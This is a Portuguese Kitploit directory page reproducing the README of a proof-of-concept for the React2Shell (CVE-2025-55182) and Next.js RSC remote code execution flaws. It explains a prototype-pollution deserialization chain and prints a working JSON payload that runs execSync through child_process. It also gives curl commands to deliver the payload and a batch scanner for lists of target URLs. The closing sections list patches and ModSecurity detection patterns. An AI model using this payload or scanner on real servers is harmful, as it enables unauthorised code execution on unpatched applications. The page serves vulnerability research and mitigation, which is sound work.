Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-55182-POC — MVP mínimo para reproduzir as vulnerabilidades React2Shell (CVE-2025-55182) e Next.js RSC RCE (CVE-2025-66478). Inclui payload de exploit, script de verificação em lote e regras ModSecurity WAF para mitigação. | Kitploit
Ferramentas/GitHubGitHub/huahuai23/cve-2025-55182-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoAprendizado e Educação
GitHubhuahuai23/cve-2025-55182-poc

CVE-2025-55182-POC

MVP mínimo para reproduzir as vulnerabilidades React2Shell (CVE-2025-55182) e Next.js RSC RCE (CVE-2025-66478). Inclui payload de exploit, script de verificação em lote e regras ModSecurity WAF para mitigação.

Ver Repositório
12há 9 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Ambiente de Reprodução das Vulnerabilidades CVE-2025-55182 / CVE-2025-66478

Este é um MVP mínimo para reproduzir as vulnerabilidades React2Shell (CVE-2025-55182) e Next.js RSC RCE (CVE-2025-66478).

⚠️ Aviso

Este projeto é apenas para fins de pesquisa e educação em segurança. Não o utilize em ambiente de produção ou em sistemas não autorizados.

Resumo das Vulnerabilidades

A CVE-2025-55182 é uma vulnerabilidade crítica nos React Server Components, afetando:

  • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Next.js: ≥14.3.0-canary.77, ≥15, ≥16

Através de uma requisição multipart/form-data especialmente criada, um atacante pode explorar uma vulnerabilidade de desserialização no Flight Protocol, resultando em execução remota de código (RCE).

Princípio do Ataque

  1. Obter referência a um Chunk: Usa a sintaxe $@N para obter um objeto Chunk interno
  2. Poluição de protótipo: Injeta um método then malicioso via
$1:__proto__:then
  • Acionar execução: O Server Action, ao fazer await, chama o método then poluído
  • Sequestro de construtor: Sequestra _formData.get para o construtor Function
  • Execução de código: Através da desserialização de Blob, executa código arbitrário
  • Início Rápido

    1. Instalar dependências

    root@kitploit:~
    npm install
    # ou
    yarn install
    # ou
    pnpm install
    

    2. Iniciar servidor de desenvolvimento

    root@kitploit:~
    npm run dev
    

    O servidor será iniciado em http://localhost:3000.

    3. Testar a vulnerabilidade

    Use o script de teste fornecido:

    root@kitploit:~
    # Teste em um único alvo
    ./test-exploit.sh http://localhost:3000
    
    # Ou use curl diretamente
    curl -X POST http://localhost:3000/ \
      -H "Next-Action: x" \
      -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
      --data-binary @exploit-payload.txt
    

    Se a vulnerabilidade existir, você verá uma saída semelhante a uid= (resultado da execução do comando id).

    Estrutura de Arquivos

    root@kitploit:~
    .
    ├── app/
    │   ├── actions.ts              # Server Actions (ponto de gatilho da vulnerabilidade)
    │   ├── page.tsx                # Página principal
    │   ├── layout.tsx              # Layout
    │   └── globals.css             # Estilos globais
    ├── package.json                # Configuração de dependências (usa versões vulneráveis)
    ├── next.config.js              # Configuração do Next.js
    ├── test-exploit.sh             # Script de teste de vulnerabilidade para alvo único
    ├── scan-targets.sh             # Script de varredura em lote
    ├── exploit-payload.txt         # Arquivo de payload de exploração
    ├── Cve-2025-55182-modsecurity-rules.conf      # Regras de proteção ModSecurity
    └── README.md                   # Este arquivo
    

    Explicação dos Scripts de Teste

    1. test-exploit.sh - Teste em alvo único

    Testa se uma única URL possui a vulnerabilidade:

    root@kitploit:~
    chmod +x test-exploit.sh
    ./test-exploit.sh http://localhost:3000
    

    Característica: Se a resposta contiver uid= ou gid=, a vulnerabilidade está presente.

    2. scan-targets.sh - Varredura em lote

    Varre vários URLs alvo em lote:

    root@kitploit:~
    # Crie um arquivo de lista de alvos
    cat > targets.txt << EOF
    http://localhost:3000
    https://example.com
    https://api.example.com:8080
    EOF
    
    # Execute a varredura em lote
    chmod +x scan-targets.sh
    ./scan-targets.sh targets.txt
    

    Os resultados da varredura serão salvos em vulnerable_hosts.csv.

    Estrutura do Payload

    root@kitploit:~
    {
      "then": "$1:__proto__:then",           // Sequestra o método then
      "status": "resolved_model",             // Controla o caminho de execução
      "reason": -1,
      "value": "{\"then\":\"$B1337\"}",      // Aciona a desserialização de Blob
      "_response": {
        "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
        "_chunks": "$Q2",
        "_formData": {
          "get": "$1:constructor:constructor"  // Sequestra para Function
        }
      }
    }
    

    Pontos-chave:

    1. $@0: Referencia o primeiro campo form-data, obtendo o objeto Chunk
    2. $1:proto:then: Acessa Chunk.prototype.then
    3. _response._prefix: Código malicioso injetado (será executado pelo construtor Function)
    4. $1:constructor:constructor: Object.constructor.constructor = Function

    Soluções de Correção

    Solução 1: Atualizar para versões corrigidas (recomendado)

    • React: 19.0.1, 19.1.2, 19.2.1 ou superior
    • Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7 ou superior
    root@kitploit:~
    npm install [email protected] [email protected] [email protected]
    

    Solução 2: Implantar regras ModSecurity WAF (mitigação temporária)

    Se não for possível atualizar imediatamente, pode-se implantar regras ModSecurity como mitigação temporária.

    Apache + mod_security

    root@kitploit:~
    # 1. Instalar mod_security
    sudo apt-get install libapache2-mod-security2
    
    # 2. Copiar o arquivo de regras
    sudo cp modsecurity-rules.conf /etc/modsecurity/
    
    # 3. Incluir as regras na configuração do Apache
    sudo vim /etc/apache2/mods-enabled/security2.conf
    # Adicionar: Include /etc/modsecurity/modsecurity-rules.conf
    
    # 4. Reiniciar o Apache
    sudo systemctl restart apache2
    

    Nginx + ModSecurity

    root@kitploit:~
    # 1. Instalar ModSecurity para Nginx
    sudo apt-get install libnginx-mod-security
    
    # 2. Copiar o arquivo de regras
    sudo cp modsecurity-rules.conf /etc/nginx/modsec/
    
    # 3. Ativar na configuração do Nginx
    sudo vim /etc/nginx/nginx.conf
    # No bloco http ou server adicione:
    # modsecurity on;
    # modsecurity_rules_file /etc/nginx/modsec/modsecurity-rules.conf;
    
    # 4. Reiniciar o Nginx
    sudo systemctl restart nginx
    

    Características detectadas pelas regras

    As regras ModSecurity bloqueiam os seguintes padrões:

    • ✅ Características do Flight Protocol ($@N, $BN)
    • ✅ Poluição de protótipo (__proto__, constructor:constructor)
    • ✅ Chamadas perigosas a módulos Node.js (process.mainModule.require, require('child_process'))
    • ✅ Funções de execução de comandos (execSync, exec)
    • ✅ Manipulação de objetos internos (_response, _chunks, _formData, _prefix)
    • ✅ Cabeçalhos de Server Action (Next-Action, RSC-Action-ID)

    ⚠️ Nota: As regras WAF são apenas medidas temporárias de mitigação, não fornecem proteção completa. A atualização para versões corrigidas é necessária.

    Recomendações de Segurança

    Se sua aplicação pode estar vulnerável:

    1. Detecte imediatamente: Use o script test-exploit.sh para testar sua aplicação
    2. Atualize imediatamente: Atualize para as versões corrigidas
    3. Rode as chaves: Rode todas as variáveis de ambiente, chaves de API e senhas de banco de dados
    4. Audite logs: Verifique os logs de acesso em busca de requisições suspeitas com Next-Action
    5. Implante WAF: Antes da atualização, implante as regras ModSecurity como proteção temporária

    Comando curl para teste rápido

    Se quiser testar diretamente com curl (sem usar o script):

    root@kitploit:~
    curl -X POST http://localhost:3000/ \
      -H "Next-Action: x" \
      -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
      -H "X-Nextjs-Request-Id: b5dce965" \
      --data-binary @exploit-payload.txt
    

    Se a resposta conter uid= ou gid=, a vulnerabilidade está presente.

    Referências

    • Comunicado oficial da Vercel
    • GHSA do React
    • GHSA do Next.js
    • PoC da CVE (React)
    • Scanner da CVE (Next.js)
    • Documentação do ModSecurity

    Agradecimentos

    • Lachlan Davidson - Descobriu e reportou responsavelmente a vulnerabilidade
    • Meta Security & React Team
    • Vercel Team

    Licença

    Este projeto é apenas para fins educacionais. Ao usar este código, respeite as leis e regulamentos aplicáveis.

    Baixar ferramenta